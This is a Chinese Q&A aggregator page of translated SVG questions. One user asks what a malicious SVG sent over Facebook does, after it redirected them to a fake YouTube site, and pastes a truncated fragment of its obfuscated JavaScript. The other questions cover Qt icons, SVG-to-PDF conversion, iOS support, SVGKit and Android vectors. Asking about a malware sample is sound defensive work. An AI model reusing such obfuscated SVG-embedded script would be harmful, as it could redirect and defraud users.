草庐IT

javascript - SVG 中嵌入的恶意 javascript - 它有什么作用?

我收到了带有两个文件(SVG图片)的facebook消息,我点击了其中一个(我不知道为什么:()。然后打开了带有红点的新标签,然后我立即被重定向到某个网站假装看起来像Youtube(http://kerman.pw/?fb_dsa)。然后我使用“将链接另存为...”功能下载了.svg文件。好像是svg中嵌入了一些javascript代码,所以我把它贴在这里(我不太了解JS):=0){varabxnk=0;varwjtfca=-1;while(vyqsvo[kwwtmh%igrqm][abxnk]){if(vyqsvo[kwwtmh%igrqm][abxnk]==gyqbv[kwwtmh

c++ - SVG 图标未显示在 Windows 中的 Qt4 发布版本中

我有一个带有SVG图标的Qt4应用程序,使用mingw(在Windows中)编译,链接到Qt共享库。当应用程序运行时,SVG图标显示在Linux中的调试和发布版本中,但是在Windows中,SVG图标仅显示在调试版本中,而不显示在发布版本中。project.qrc中列出了所有SVG图标,project.pro有RESOURCES=project.qrc。应用程序使用QtSvg4.dll(版本4.7.0)。Qt4.7.0、QtCreator2.0.1、mingw/g++4.4.0。解决方案更新:在应用程序目录中,创建/imageformats/目录并将qsvg4.dll放在那里而不是应用

windows - 如何在 Windows 上以编程方式将 SVG 转换为 PDF?

我希望在服务器上以编程方式将SVG转换为PDF文档。在Windows上执行此操作有哪些选择?我看到了指向Inkscape的链接,Batik,和svg2pdf,但我不确定这些是否可以轻松地自动执行以在Windows服务器上执行转换。这里有一个不寻常的解决方案,涉及在服务器上自动化OpenOfficePortable:http://www.codeproject.com/KB/office/PortableOpenOffice.aspx 最佳答案 有两种选择:Batik(Java,开源)Inkscape(native二进制文件,开源)B

ios - iOS 支持的 SVG 特性

我似乎找不到iOS支持的SVG功能的良好列表,我得到的最好的是:http://caniuse.com/#cats=SVG我正在研究开发一个使用大量视觉元素的网页的可行性,我们想使用SVG,我对SVG没有很深的了解,所以我想知道主要的兼容性、性能和不足是什么iOSSafari中的功能问题。从上面的链接看来我不能使用:微笑动画。动画作为SVG标签,对吗?该链接说:“在Safari中的部分支持是指不支持HTML文件。”所以只要SVG不在HTML文件中它就可以工作?所以这意味着我根本无法使用它?我仍然可以使用Javascript制作动画吗(例如使用jQuerySVG)?SVG过滤器,现在我不太

iphone - 使用 SVGKit 加载 SVG 文件

我是iOS的新手,我正在尝试使用SVGKit在我的应用程序中呈现svg文件。我想从URL加载svg文件,但无法正常工作。我收到以下错误:Thread1:EXC_BAD_Access(code=2,address=0x0)在以下行中:NSLog(@"[%@]SVGKitParseerror:%@",[selfclass],*error);在SVGDocument.m文件中。我尝试使用现有的SVGPad示例从URL加载文件,该示例完美运行并加载图片但不是从URL。我使用这段代码从URL加载图片:NSString*urlString=[NSStringstringWithFormat:@"h

android - 如何将 Android xml 布局转换为 png/svg 以在 iOS 版本中使用

我这里有一个Android布局xml文件:此xml布局呈现如下所示:这适用于android,但我也想在iOS应用程序上使用此xml布局。我想知道是否有办法将此xml布局转换为svg或png格式或任何允许我重新使用此项目而无需重新创建它的格式。它需要具有透明度,如果可行的话,.svg很可能比.png更好。如果可能的话,我希望只有显示的可见部分是可点击的。 最佳答案 iOS中的等效技术是Apple的“自动布局”系统。一旦掌握了它,它就非常容易使用;事实上,就像任何东西一样,它是一个专业的东西。当然,您可以制作一个透明的PNG并将其用作U

ios - 在 uiwebview 中渲染 svg 会导致内存压力(和应用程序崩溃)

我正在制作一个“交互式map”,类似于thisexample.我需要能够放大map并仍然得到清晰的插图,所以map的绘制是在svg中完成的(它实际上是在Illustrator中创建的,然后另存为svg文件)。在应用程序中,我创建了一个UIWebView并加载了包含svg的html。HTML文件是应用程序中的捆绑资源,因此没有网络延迟。有一些可点击的形状,当您点击它们时,它会将您带到另一张map(另一个带有svg绘图的html页面)。其中一个svg相当大(~5.8MB)。加载时,我收到“内存压力”警告然后崩溃。Instruments显示崩溃时虚拟内存为298.71MB,实际内存为149.

ios - 在 iOS Chrome 和 Safari 的 SVG 中显示自定义字体

我正在使用带有来自谷歌的自定义字体的svg,但我自己托管它。这是theSVGfile使用以下代码:/\buildpodcastscreencastsontechtools我正在使用img标签在mainwebsite上显示它它在桌面浏览器上显示良好,甚至在AndroidChrome等移动浏览器上也能正常显示。但它根本不显示在iOS7Chrome或Android中。关于如何修改自定义字体部分的SVG文件代码的任何线索?谢谢! 最佳答案 我受够了尝试让字体在我的SVG中在所有设备/浏览器中正常工作,所以通过我的工作,我可以访问原始的.ai

ios - 在 ios 应用程序中使用 svg 或字体图标

在我的iOS应用程序中,我们需要根据用户配置更改图标的颜色。这是我们重要的业务选择之一。我的一位friend建议我使用.svg或字体图标。并与我分享了这个link当我开发iOS应用程序时,他们正在创建Web应用程序。iOS是否也支持这种技术?如果是,我该如何使用它?编辑我找到了SVGKit用于iPhone/iPad应用程序。是否有任何绑定(bind)库可以在monotouch上使用它? 最佳答案 SVG字体(路径)很容易转换成源代码。一旦你有了这个,就可以非常简单地以不同的颜色、大小(iphone/ipad)或分辨率(例如视网膜)呈

java - 如何在低于 21 的 Android API 中使用 VectorDrawables?

我正在开发一个Android项目,我选择了显示图标,因为它具有适应性和动态性,但是,我只能在运行Android的设备上运行此应用程序,这些设备具有API21或更高版本。我的问题是如何使用在较低的Android版本上,即API14或类似的。谢谢! 最佳答案 使用支持库23.2,一直到APIv7都提供了对VectorDrawables的真正支持。建议禁用以前版本的支持,它在构建时呈现PNG,通过添加//GradlePlugin2.0+android{defaultConfig{vectorDrawables.useSupportLibr